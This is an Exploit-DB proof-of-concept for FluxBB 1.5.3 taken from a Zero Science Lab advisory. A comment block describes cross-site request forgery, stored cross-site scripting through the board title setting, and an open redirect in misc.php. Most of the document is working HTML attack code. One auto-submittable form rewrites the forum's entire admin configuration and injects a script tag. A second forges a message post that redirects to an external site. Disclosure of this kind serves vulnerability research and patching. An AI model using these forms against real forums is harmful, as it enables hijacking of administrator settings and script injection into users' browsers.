FluxBB 1.5.3 – Multiple Vulnerabilities

  • 作者: LiquidWorm
    日期: 2013-07-29
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/27190/
  • <!--
    
    FluxBB 1.5.3 Multiple Remote Vulnerabilities
    
    
    Vendor: FluxBB
    Product web page: http://www.fluxbb.org
    Affected version: 1.5.3
    
    Summary: FluxBB is fast, light, user-friendly forum software for your website.
    
    Desc: FluxBB suffers from a cross-site scripting, cross-site request forgery
    and URL redirect vulnerability. The application allows users to perform certain
    actions via HTTP requests without performing any validity checks to verify the
    requests. This can be exploited to perform certain actions with administrative
    privileges if a logged-in user visits a malicious web site. Input passed via the
    'redirect_url' parameter in 'misc.php' script is not properly verified before
    being used to redirect users. This can be exploited to redirect a user to an
    arbitrary website e.g. when a user clicks a specially crafted link to the
    affected script hosted on a trusted domain. It also fails to properly sanitize
    user-supplied input to the 'form[board_title]' POST parameter in the 'admin_options.php'
    script. Attackers can exploit this weakness to execute arbitrary HTML and script
    code in a user's browser session.
    
    Tested on: Microsoft Windows 7 Ultimate SP1 (EN)
     Apache 2.4.2 (Win32)
     PHP 5.4.7
     MySQL 5.5.25a
    
    
    Vulnerabilities discovered by Gjoko 'LiquidWorm' Krstic
    @zeroscience
    
    
    Advisory ID: ZSL-2013-5150
    Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5150.php
    
    
    
    27.07.2013
    
    -->
    
    
    <html>
    <head>
    <title>FluxBB 1.5.3 Multiple Remote Vulnerabilities</title>
    </head>
    <body><center><br />
    <form method="POST" action="http://localhost/fluxbb/admin_options.php">
    <input type="hidden" name="form_sent" value="1" />
    <input type="hidden" name="form[board_title]" value='<script>alert(1)</script>' />
    <input type="hidden" name="form[base_url]" value="http://localhost/fluxbb" />
    <input type="hidden" name="form[default_timezone" value="0" />
    <input type="hidden" name="form[default_dst" value="0" />
    <input type="hidden" name="form[default_lang" value="English" />
    <input type="hidden" name="form[default_style" value="Air" />
    <input type="hidden" name="form[time_format" value="H:i:s" />
    <input type="hidden" name="form[date_format" value="Y-m-d" />
    <input type="hidden" name="form[timeout_visit" value="1800" />
    <input type="hidden" name="form[timeout_online" value="300" />
    <input type="hidden" name="form[redirect_delay" value="1" />
    <input type="hidden" name="form[show_version" value="0" />
    <input type="hidden" name="form[show_user_info" value="1" />
    <input type="hidden" name="form[show_post_count" value="1" />
    <input type="hidden" name="form[smilies]" value="1" />
    <input type="hidden" name="form[smilies_sig" value="1" />
    <input type="hidden" name="form[make_links" value="1" />
    <input type="hidden" name="form[topic_review" value="15" />
    <input type="hidden" name="form[disp_topics_default" value="30" />
    <input type="hidden" name="form[disp_posts_default" value="25" />
    <input type="hidden" name="form[indent_num_spaces" value="4" />
    <input type="hidden" name="form[quote_depth" value="3" />
    <input type="hidden" name="form[quickpost" value="1" />
    <input type="hidden" name="form[users_online" value="1" />
    <input type="hidden" name="form[censoring" value="0" />
    <input type="hidden" name="form[signatures" value="1" />
    <input type="hidden" name="form[show_dot" value="0" />
    <input type="hidden" name="form[topic_views" value="1" />
    <input type="hidden" name="form[quickjump" value="1" />
    <input type="hidden" name="form[gzip" value="0" />
    <input type="hidden" name="form[search_all_forums" value="0" />
    <input type="hidden" name="form[additional_navlinks" value="" />
    <input type="hidden" name="form[feed_type" value="2" />
    <input type="hidden" name="form[feed_ttl" value="0" />
    <input type="hidden" name="form[report_method" value="0" />
    <input type="hidden" name="form[mailing_list" value="lab@zeroscience.mk" />
    <input type="hidden" name="form[avatars" value="1" />
    <input type="hidden" name="form[avatars_dir" value="img/avatars" />
    <input type="hidden" name="form[avatars_width" value="60" />
    <input type="hidden" name="form[avatars_height" value="60" />
    <input type="hidden" name="form[avatars_size" value="10240" />
    <input type="hidden" name="form[admin_email" value="lab@zeroscience.mk" />
    <input type="hidden" name="form[webmaster_email" value="lab@zeroscience.mk" />
    <input type="hidden" name="form[forum_subscriptions" value="1" />
    <input type="hidden" name="form[topic_subscriptions" value="1" />
    <input type="hidden" name="form[smtp_host" value="" />
    <input type="hidden" name="form[smtp_user" value="" />
    <input type="hidden" name="form[smtp_pass1" value="" />
    <input type="hidden" name="form[smtp_pass2" value="" />
    <input type="hidden" name="form[smtp_ssl" value="0" />
    <input type="hidden" name="form[regs_allow" value="1" />
    <input type="hidden" name="form[regs_verify" value="0" />
    <input type="hidden" name="form[regs_report" value="0" />
    <input type="hidden" name="form[rules" value="0" />
    <input type="hidden" name="form[rules_message" value="Enter+your+rules+here" />
    <input type="hidden" name="form[default_email_setting" value="1" />
    <input type="hidden" name="form[announcement" value="0" />
    <input type="hidden" name="form[announcement_message" value="Enter+your+announcement+here." />
    <input type="hidden" name="form[maintenance" value="0" />
    <input type="hidden" name="form[maintenance_message" value="Forum Down!" />
    <input type="hidden" name="save" value="Save+changes" />
    <input type="submit" value="XSS" />
    </form>
    <br />
    <form method="POST" action="http://localhost/fluxbb/misc.php?email=2">
    <input type="hidden" name="form_sent" value="1" />
    <input type="hidden" name="redirect_url" value="http://www.zeroscience.mk" />
    <input type="hidden" name="req_message" value="Follow the Spirit" />
    <input type="hidden" name="req_subject" value="ZSL" />
    <input type="hidden" name="submit" value="Submit" />
    <input type="submit" value="Forge and Redirect" />
    </form>
    </body>
    </html>